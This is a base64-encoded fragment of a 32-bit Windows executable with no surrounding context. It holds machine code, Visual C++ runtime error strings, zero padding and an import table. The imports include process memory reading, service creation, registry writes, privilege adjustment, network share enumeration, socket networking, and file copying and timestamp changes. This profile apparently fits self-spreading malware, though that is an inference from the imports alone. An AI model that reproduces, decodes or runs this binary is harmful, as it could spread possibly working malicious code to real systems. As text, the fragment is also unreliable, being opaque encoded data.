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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 